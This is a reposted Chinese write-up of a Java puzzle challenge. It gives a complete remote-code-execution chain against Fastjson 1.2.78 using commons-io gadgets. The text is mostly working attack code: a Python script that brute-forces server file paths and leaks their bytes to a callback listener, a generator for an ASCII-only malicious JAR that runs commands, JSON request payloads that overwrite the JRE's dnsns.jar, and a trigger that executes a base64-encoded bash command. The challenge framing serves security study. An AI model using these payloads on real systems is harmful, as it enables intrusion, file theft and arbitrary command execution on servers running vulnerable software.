[JavaPuzzle#3WP]FastjsonwriteasciiJARRCE

admin 2025-12-23 01:40:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章详细介绍了Fastjson1.2.78版本的一个远程代码执行漏洞利用方法。作者首先分析了在Docker环境中Fastjson反序列化io链遇到的问题,即WriterOutputStream实例创建时decoder参数为null导致空指针异常。通过添加UTF8Decoder解决了这个问题,然后利用ASCIIJAR技术实现了稳定写入jar文件。文章详细说明了如何爆破路径、构造恶意ASCIIJAR、替换dnsns.jar文件以及触发恶意代码执行的完整攻击链。这是一个针对Fastjson反序列化漏洞的深入技术分析,提供了具体的利用方法和代码示例。 综合评分: 85 文章分类: 漏洞分析,渗透测试,WEB安全,漏洞POC,Java安全


cover_image

[Java Puzzle #3 WP] Fastjson write ascii JAR RCE

原创

lu2ker

漫漫安全路

2025年12月22日 12:04 江西

前言

本次题目总共五位师傅做出都是预期解,按照顺序依次为:珂字辈、Roc 木木、seizer、小晨曦、unam4。下面是出题者lu2ker师傅的解。

背景及利用流程:

之前测的一个docker环境,fastjson1.2.78版本,commons-io2.2版本。

调试docker运行环境发现fastjson反序列化io链在创建WriterOutputStream实例的时候会调用「需要decoder参数的构造函数」,会导致公开的链子报空指针异常

在processInput中,会调用this.decoder(为null)的decode方法,故而出现异常

但是fastjson反序列化中,对象是从内层到外层依次创建的,所以LockableFileWriter是在WriterOutputStream之前处理的,所以还是会创建一个带锁的空文件:

奇怪的是,同样的代码在我的Mac IDEA中直接运行是不会出现这个问题的,测试如下:

"branch": {
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/bbb",
"encoding":"iso-8859-1",
"append": false
},
"charsetName": "iso-8859-1",
"bufferSize": 8193,
"writeImmediately": true
},

实例化WriterOutputStream时会依次调用3个构造函数,并且最终的decoder不为null

可以看到首先调用的是public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately),会根据charsetName传入的字符串,自动创建decoder对象。

docker和mac idea运行环境为什么会出现这种差异具体原因未知,怀疑是不同jdk发行版的原因。

在@pen4uin一番研究后,发现可以用fastjson自带的“com.alibaba.fastjson.util.UTF8Decoder”填充decoder参数。

解决办法就是给WriterOutputStream设置上decoder:

即,添加字段:"decoder":{"@type":"com.alibaba.fastjson.util.UTF8Decoder"}

问题变成spring fat jar写文件的利用:

  • 计划任务
  • ssh
  • charsets.jar
  • tomcat docbase

前两个在目标环境都是没有的。且无论是.class还是.jar都有非UTF-8字符,而我们用的是UTF8Decoder,会出错,这样@jsjcw在geekcon2024公开的「往${docbase}/WEB-INF/classes/路径下写入恶意类」的利用方法就不能直接拿来用了。

好在@c0ny1之前研究过如何生成ascii jar。我们还是能做到稳定写一个jar文件。

目标环境中charset.jar被提前加载了,覆盖charset.jar的方法行不通。

@pen4uin告知lib/ext下面还能用dnsns.jar,目标环境中未被加载,可行

下面的演示步骤用到了@kezibei的一个爆破路径的脚本是要出网,但不需要出网也能爆破路径,整个流程中可以不出网利用。

由于提供了docker环境所以做这个题目不需要爆破路径也行,实际攻防场景可能需要爆破目录

利用步骤:

1、添加InputStream到缓存,然后爆破路径(docbase、jre)

  • 爆破docbase是写class的利用;
  • 或者根据dockerfile的描述,自己进入容器找jre/lib/ext的绝对路径,写jar去利用。
#python3

from flask import Flask, request
import requests
import base64
import time

requests.packages.urllib3.disable_warnings()
app=Flask(__name__)

url = "http://127.0.0.1:8089/json"
host = "172.16.12.1"
port = 5667
read_file = "file:///usr/lib/jvm/"

header = '''
Host: 127.0.0.1
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
'''

json1 = r'''
{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.JsonParseException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  },
}
'''

json2 = r'''
{
  "su18": {
  "@type": "java.io.InputStream",
  "@type": "org.apache.commons.io.input.BOMInputStream",
  "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": {
                "@type": "java.lang.String" {
                "@type": "java.util.Locale",
                "val": {
                "@type": "com.alibaba.fastjson.JSONObject",
                        {
                        "@type": "java.lang.String"
                        "@type": "java.util.Locale",
                        "language": "http://${host}:${port}/?test=",
                        "country": {"@type": "java.lang.String" [

{
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${read_file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": [${bytes}]
        }
      ]
}
                        ]
            }
        }
    },
        "charsetName": "UTF-8",
        "bufferSize": 1024
  },
  "boms": [
   {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
     36,
     82
    ]
   }
  ]
 },
 "su19": {
  "$ref": "$.su18.bOM.bytes"
 }
}
'''.replace('${host}', host).replace('${port}', str(port)).replace('${read_file}', read_file)

hava_bytes = False

def get_brute_list():
    recommended = (list(range(97, 123)) + list(range(48, 58)) + [10, 45, 46, 95] + list(range(65, 91)) )
    recommended_set = set(recommended)
    all_ascii = set(range(256))
    others = sorted(all_ascii - recommended_set)
    brute_list = recommended + others
    brute_list.append(256)
    print(brute_list)
    return brute_list

def parse_raw_headers(raw_headers):
    exclude_keys = {'host', 'content-Length'}
    headers = {}
    for line in raw_headers.strip().splitlines():
        if':'in line:
            key, value = line.split(':', 1)
            key_clean = key.strip()
            if key_clean.lower() notin exclude_keys:
                headers[key_clean] = value.strip()
    return headers

def burp():
    global hava_bytes
    global url
    global header
    global json2

    brute_list = get_brute_list()
    bytes = ''
    file_contents = ''

    for i in range(1,100000):
        for b in brute_list:
            if b == 256:
                print(file_contents)
                print("file_contents长度: "+str(len(file_contents)))
                return
            bytes_tmp = bytes + str(b)+','
            data = json2.replace('${bytes}', bytes_tmp)
            flag_tmp = file_contents + chr(b)
            r = requests.post(url, data=data, headers=parse_raw_headers(header), verify=False,timeout=10)
            #print(data)
            #print(flag_tmp)
            #print(bytes_tmp)
            if hava_bytes:
                bytes = bytes + str(b)+','
                file_contents = file_contents + chr(b)
                print(file_contents)
                hava_bytes = False
                break

@app.route('/')
def default():
    global hava_bytes
    s = request.args.get('test')
    if'BYTES'in s :
        hava_bytes = True
        return'ok'
    else:
        return'no'

@app.route('/run')
def run():
    r1 = requests.post(url, data=json1, headers=parse_raw_headers(header), verify=False)
    print("start\n")
    print(r1.text)
    start = time.time()
    burp()
    end = time.time()
    time_str = f"耗时:{end - start:.4f} 秒"
    print(time_str)
    return'ok ' + time_str

if __name__ == '__main__':
 app.run(host="0.0.0.0", port=port)

2、构造恶意的ascii jar

#!/usr/bin/env python
# autor: c0ny1
# date 2022-02-13
from __future__ import print_function

import time
import os
from compress import *

allow_bytes = []
disallowed_bytes = [38,60,39,62,34,40,41]&nbsp;# &<'>"()
for&nbsp;b&nbsp;in&nbsp;range(0,128):&nbsp;# ASCII
&nbsp; &nbsp;&nbsp;if&nbsp;b&nbsp;in&nbsp;disallowed_bytes:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; allow_bytes.append(b)

if&nbsp;__name__ ==&nbsp;'__main__':
&nbsp; &nbsp; padding_char =&nbsp;'U'
&nbsp; &nbsp; raw_filename =&nbsp;'DNSNameServiceDescriptor.class'
&nbsp; &nbsp; zip_entity_filename =&nbsp;'sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class'
&nbsp; &nbsp; jar_filename =&nbsp;'ascii01_3.jar'
&nbsp; &nbsp; num =&nbsp;1
&nbsp; &nbsp;&nbsp;whileTrue:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# step1 动态生成java代码并编译
&nbsp; &nbsp; &nbsp; &nbsp; javaCode =&nbsp;"""
package sun.net.spi.nameservice.dns;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;

import java.io.IOException;

public final class DNSNameServiceDescriptor extends Exception implements NameServiceDescriptor {
&nbsp; &nbsp; private static final String paddingData = "{PADDING_DATA}";
&nbsp; &nbsp; public DNSNameServiceDescriptor(String message) {
&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Runtime.getRuntime().exec(message);
&nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; public NameService createNameService() throws Exception {
&nbsp; &nbsp; &nbsp; &nbsp; return null;
&nbsp; &nbsp; }

&nbsp; &nbsp; public String getProviderName() {
&nbsp; &nbsp; &nbsp; &nbsp; return "sun";
&nbsp; &nbsp; }

&nbsp; &nbsp; public String getType() {
&nbsp; &nbsp; &nbsp; &nbsp; return "dns";
&nbsp; &nbsp; }
}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp; padding_data = padding_char * num
&nbsp; &nbsp; &nbsp; &nbsp; javaCode = javaCode.replace("{PADDING_DATA}", padding_data)

&nbsp; &nbsp; &nbsp; &nbsp; f = open('DNSNameServiceDescriptor.java',&nbsp;'w')
&nbsp; &nbsp; &nbsp; &nbsp; f.write(javaCode)
&nbsp; &nbsp; &nbsp; &nbsp; f.close()
&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.1)

&nbsp; &nbsp; &nbsp; &nbsp; os.system("/Library/Java/JavaVirtualMachines/zulu-8.jdk/Contents/Home/bin/javac -nowarn -g:none -source 1.8 -target 1.8 -cp jasper.jar &nbsp;DNSNameServiceDescriptor.java")
&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.1)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# step02 计算压缩之后的各个部分是否在允许的ASCII范围
&nbsp; &nbsp; &nbsp; &nbsp; raw_data = bytearray(open(raw_filename,&nbsp;'rb').read())
&nbsp; &nbsp; &nbsp; &nbsp; compressor = ASCIICompressor(bytearray(allow_bytes))
&nbsp; &nbsp; &nbsp; &nbsp; compressed_data = compressor.compress(raw_data)[0]
&nbsp; &nbsp; &nbsp; &nbsp; crc = zlib.crc32(raw_data) % pow(2,&nbsp;32)

&nbsp; &nbsp; &nbsp; &nbsp; st_crc = struct.pack('<L', crc)
&nbsp; &nbsp; &nbsp; &nbsp; st_raw_data = struct.pack('<L', len(raw_data) % pow(2,&nbsp;32))
&nbsp; &nbsp; &nbsp; &nbsp; st_compressed_data = struct.pack('<L', len(compressed_data) % pow(2,&nbsp;32))
&nbsp; &nbsp; &nbsp; &nbsp; st_cdzf = struct.pack('<L', len(compressed_data) + len(zip_entity_filename) +&nbsp;0x1e)

&nbsp; &nbsp; &nbsp; &nbsp; b_crc = isAllowBytes(st_crc, allow_bytes)
&nbsp; &nbsp; &nbsp; &nbsp; b_raw_data = isAllowBytes(st_raw_data, allow_bytes)
&nbsp; &nbsp; &nbsp; &nbsp; b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)
&nbsp; &nbsp; &nbsp; &nbsp; b_cdzf = isAllowBytes(st_cdzf, allow_bytes)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# step03 判断各个部分是否符在允许字节范围
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;b_crc&nbsp;and&nbsp;b_raw_data&nbsp;and&nbsp;b_compressed_data&nbsp;and&nbsp;b_cdzf:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# step04 保存最终ascii jar
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output = open(jar_filename,&nbsp;'wb')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode()))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print('[+] Generate {0} success'.format(jar_filename))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_compressed_data, b_cdzf, num,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;padding_char))
&nbsp; &nbsp; &nbsp; &nbsp; num = num +&nbsp;1

3、写入恶意jar,替换dnsns.jar

POST /json HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8089

{
&nbsp; "a": {
&nbsp; &nbsp; "@type": "java.io.InputStream",
&nbsp; &nbsp; "@type": "org.apache.commons.io.input.AutoCloseInputStream",
&nbsp; &nbsp; "in": {
&nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.TeeInputStream",
&nbsp; &nbsp; &nbsp; "input": {
&nbsp; &nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.CharSequenceInputStream",
&nbsp; &nbsp; &nbsp; &nbsp; "s": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "@type": "java.lang.String"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "jar hex",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "charset": "iso-8859-1",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "bufferSize": 8032
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; "branch": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "@type":"org.apache.commons.io.output.WriterOutputStream",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "writer":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "@type":"org.apache.commons.io.output.LockableFileWriter",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "file":"/usr/local/openjdk-8/jre/lib/ext/dnsns.jar",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "encoding":"UTF-8",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "append": false
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "decoder":{"@type":"com.alibaba.fastjson.util.UTF8Decoder"},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "bufferSize": 8193,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "writeImmediately": true
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; "closeBranch": true
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; },
&nbsp; &nbsp; "b": {
&nbsp; &nbsp; &nbsp; "@type": "java.io.InputStream",
&nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.ReaderInputStream",
&nbsp; &nbsp; &nbsp; "reader": {
&nbsp; &nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.XmlStreamReader",
&nbsp; &nbsp; &nbsp; &nbsp; "is": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "$ref": "$.a"
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; "httpContentType": "text/xml",
&nbsp; &nbsp; &nbsp; &nbsp; "lenient": false,
&nbsp; &nbsp; &nbsp; &nbsp; "defaultEncoding": "iso-8859-1"
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; "charsetName": "iso-8859-1",
&nbsp; &nbsp; &nbsp; "bufferSize": 1024
&nbsp; &nbsp; },
&nbsp; &nbsp; "c": {
&nbsp; &nbsp; &nbsp; "@type": "java.io.InputStream",
&nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.ReaderInputStream",
&nbsp; &nbsp; &nbsp; "reader": {
&nbsp; &nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.XmlStreamReader",
&nbsp; &nbsp; &nbsp; &nbsp; "is": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "$ref": "$.a"
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; "httpContentType": "text/xml",
&nbsp; &nbsp; &nbsp; &nbsp; "lenient": false,
&nbsp; &nbsp; &nbsp; &nbsp; "defaultEncoding": "iso-8859-1"
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; "charsetName": "iso-8859-1",
&nbsp; &nbsp; &nbsp; "bufferSize": 1024
&nbsp; &nbsp; },
&nbsp; &nbsp; "d": {
&nbsp; &nbsp; &nbsp; "@type": "java.io.InputStream",
&nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.ReaderInputStream",
&nbsp; &nbsp; &nbsp; "reader": {
&nbsp; &nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.XmlStreamReader",
&nbsp; &nbsp; &nbsp; &nbsp; "is": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "$ref": "$.a"
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; "httpContentType": "text/xml",
&nbsp; &nbsp; &nbsp; &nbsp; "lenient": false,
&nbsp; &nbsp; &nbsp; &nbsp; "defaultEncoding": "iso-8859-1"
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; "charsetName": "iso-8859-1",
&nbsp; &nbsp; &nbsp; "bufferSize": 1024
&nbsp; &nbsp; },
&nbsp; &nbsp; "e": {
&nbsp; &nbsp; &nbsp; "@type": "java.io.InputStream",
&nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.ReaderInputStream",
&nbsp; &nbsp; &nbsp; "reader": {
&nbsp; &nbsp; &nbsp; &nbsp; "@type": "org.apache.commons.io.input.XmlStreamReader",
&nbsp; &nbsp; &nbsp; &nbsp; "is": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "$ref": "$.a"
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; "httpContentType": "text/xml",
&nbsp; &nbsp; &nbsp; &nbsp; "lenient": false,
&nbsp; &nbsp; &nbsp; &nbsp; "defaultEncoding": "iso-8859-1"
&nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; "charsetName": "iso-8859-1",
&nbsp; &nbsp; &nbsp; "bufferSize": 1024
&nbsp; &nbsp; },
&nbsp; }

4、触发恶意jar,执行命令「id > /tmp/hhh」

POST /json HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8089

{
&nbsp; "@type": "java.lang.Exception",
&nbsp; "@type": "sun.net.spi.nameservice.dns.DNSNameServiceDescriptor",
&nbsp; "message": "bash -c {echo,aWQgPiAvdG1wL2hoaA==}|{base64,-d}|{bash,-i}"
}

其他

jdk太低的版本不行,比如8u102,ext目录下的jar不能被fastjson加载。

作者这里使用的替换dnsns.jar来进行利用实际上还有其他jar可以利用,比如大部分预期解的师傅采用的是覆盖nashorn.jar。

我们可以在启动java时添加-verbose:class参数查看哪些jar被加载了,然后找到未被加载的去覆盖利用。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:漫漫安全路 《[Java Puzzle #3 WP] Fastjson write ascii JAR RCE》

评论:0   参与:  4